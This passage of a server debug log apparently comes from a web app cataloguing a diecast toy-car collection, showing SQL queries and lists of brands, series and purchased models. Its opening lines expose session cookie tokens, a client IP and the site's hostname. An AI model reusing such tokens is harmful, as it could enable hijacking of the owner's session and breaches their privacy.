    cookie: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T11:42:17.122Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-12T11:49:13.168Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T11:49:13.170Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T11:49:13.171Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T11:49:13.171Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T11:49:13.172Z server-connect:app Executing action step identify
2026-02-12T11:49:13.172Z server-connect:app options: { provider: 'security' }
2026-02-12T11:49:13.172Z server-connect:output identity: 1
2026-02-12T11:49:13.172Z server-connect:app Executing action step restrict
2026-02-12T11:49:13.172Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:49:13.172Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T11:49:13.172Z server-connect:output restrict: undefined
2026-02-12T11:49:13.172Z server-connect:app Executing action step select
2026-02-12T11:49:13.173Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T11:49:13.173Z server-connect:app Executing action step identify
2026-02-12T11:49:13.173Z server-connect:app options: { provider: 'security' }
2026-02-12T11:49:13.173Z server-connect:output identity: 1
2026-02-12T11:49:13.173Z server-connect:app Executing action step restrict
2026-02-12T11:49:13.173Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:49:13.174Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T11:49:13.175Z server-connect:app Executing action step identify
2026-02-12T11:49:13.175Z server-connect:app options: { provider: 'security' }
2026-02-12T11:49:13.175Z server-connect:output identity: 1
2026-02-12T11:49:13.175Z server-connect:app Executing action step restrict
2026-02-12T11:49:13.175Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:49:13.177Z server-connect:output restrict: undefined
2026-02-12T11:49:13.177Z server-connect:app Executing action step select
2026-02-12T11:49:13.177Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T11:49:13.177Z server-connect:app Executing action step identify
2026-02-12T11:49:13.177Z server-connect:app options: { provider: 'security' }
2026-02-12T11:49:13.178Z server-connect:output identity: 1
2026-02-12T11:49:13.178Z server-connect:app Executing action step restrict
2026-02-12T11:49:13.178Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:49:13.179Z server-connect:app Executing action step identify
2026-02-12T11:49:13.179Z server-connect:app options: { provider: 'security' }
2026-02-12T11:49:13.179Z server-connect:output identity: 1
2026-02-12T11:49:13.179Z server-connect:app Executing action step restrict
2026-02-12T11:49:13.179Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:49:13.180Z server-connect:output restrict: undefined
2026-02-12T11:49:13.180Z server-connect:app Executing action step paged
2026-02-12T11:49:13.180Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T11:49:13.181Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T11:49:13.182Z server-connect:output restrict: undefined
2026-02-12T11:49:13.182Z server-connect:app Executing action step select
2026-02-12T11:49:13.182Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T11:49:13.183Z server-connect:output restrict: undefined
2026-02-12T11:49:13.183Z server-connect:app Executing action step select
2026-02-12T11:49:13.183Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T11:49:13.184Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T11:49:13.185Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T11:49:13.185Z server-connect:app Executing action step select
2026-02-12T11:49:13.186Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T11:49:13.187Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T11:49:13.187Z server-connect:app Executing action step select
2026-02-12T11:49:13.187Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T11:49:13.188Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T11:49:13.190Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 166,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
